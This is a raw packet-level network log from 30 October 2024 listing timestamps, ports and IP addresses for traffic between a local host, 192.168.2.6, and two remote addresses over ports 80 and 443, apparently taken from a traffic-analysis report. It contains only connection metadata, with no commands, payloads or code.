Oct 30, 2024 15:59:38.544262886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544320107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544332027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544374943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544604063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544646978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544658899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544671059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544697046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544708967 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544742107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544754028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544764042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544775009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544778109 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544791937 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544806957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544886112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544898033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544909000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544934988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544950962 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.545265913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545311928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545322895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545331001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.545344114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.545365095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.545376062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545387983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545417070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.545430899 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.545802116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545862913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545875072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545912027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.545938969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.545943022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545955896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545969963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.545994043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.546021938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.584884882 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.584959984 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.585016012 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.589793921 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.589811087 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.589824915 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.589832067 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.598826885 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.598844051 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.599145889 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.599488020 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.599500895 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.620523930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.620598078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.620608091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.620646954 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.620682001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.620718956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.620734930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.620745897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.620770931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.620789051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.620790958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.620837927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.656398058 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.659301996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659323931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659334898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659351110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659363031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659368038 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.659373999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659406900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.659430027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.659491062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659502983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659513950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659527063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659554958 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.659567118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.659599066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659610033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659650087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.659955025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659976959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.659987926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660005093 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660037041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660089970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660101891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660136938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660299063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660316944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660327911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660356998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660371065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660449982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660461903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660471916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660489082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660515070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660722017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660764933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660775900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660778046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660814047 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660842896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660856009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660892963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.660926104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660937071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660947084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660957098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.660989046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.661020041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.661344051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.661376953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.661386967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.661393881 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.661426067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.661454916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.661467075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.661477089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.661501884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.661518097 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.661580086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.661591053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.661627054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.661638975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.662215948 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.662240028 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.662669897 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.662674904 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.698272943 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.736402035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.736428976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.736499071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.736514091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.736527920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.736531019 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.736551046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.736552954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.736569881 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.736658096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.745208979 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.747519970 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.747525930 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.748079062 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.748084068 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.774998903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775022984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775038958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775080919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775110960 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775124073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775135994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775146008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775158882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775176048 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775204897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775290966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775307894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775358915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775358915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775397062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775444031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775449991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775461912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775495052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775507927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775536060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775546074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775585890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775748968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775794983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775804996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775835037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775914907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775927067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775940895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.775944948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775957108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.775973082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776021957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776087999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776098013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776134014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776287079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776305914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776318073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776330948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776349068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776355028 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776474953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776487112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776496887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776513100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776519060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776559114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776582003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776622057 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776758909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776818037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776829958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776849031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776870012 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776920080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776932955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776943922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.776969910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.776983023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.777147055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.777189016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.777199984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.777199984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.777226925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.777239084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.788429022 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.788764954 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.788860083 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.789664030 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.789686918 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.789696932 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.789702892 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.795321941 CET	49783	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.795353889 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.795450926 CET	49783	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.795618057 CET	49783	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.795627117 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.817507029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.817519903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.817548990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.817559004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.817564011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.817579985 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.817601919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.852113962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.852124929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.852169991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.852241993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.852286100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.852288961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.852329016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.852365971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.852377892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.852402925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.852416992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.876871109 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.876899004 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.876956940 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.876962900 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.877010107 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.877428055 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.877439022 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.877466917 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.877473116 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.880987883 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.881016970 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.881113052 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.881340027 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.881355047 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.891120911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891151905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891164064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891191959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891206026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891257048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891268969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891278982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891290903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891297102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891329050 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891345978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891390085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891402960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891437054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891515017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891525984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891536951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891549110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891560078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891561031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891587973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891613007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891668081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891679049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891716003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891805887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891817093 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891827106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891839027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891845942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891850948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891861916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891885042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.891905069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.891944885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892024040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892066956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892079115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892103910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892117977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892155886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892168045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892179012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892190933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892199993 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892219067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892244101 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892574072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892585039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892596006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892608881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892611980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892621040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892646074 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892762899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892781973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892793894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892807007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892839909 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.892854929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892867088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.892904043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.933228016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.933249950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.933268070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.933290958 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.933314085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.967849016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.967869043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.967880011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.967902899 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.967917919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.967919111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.967956066 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.967968941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.968003035 CET	80	49716	185.215.113.206	192.168.2.6
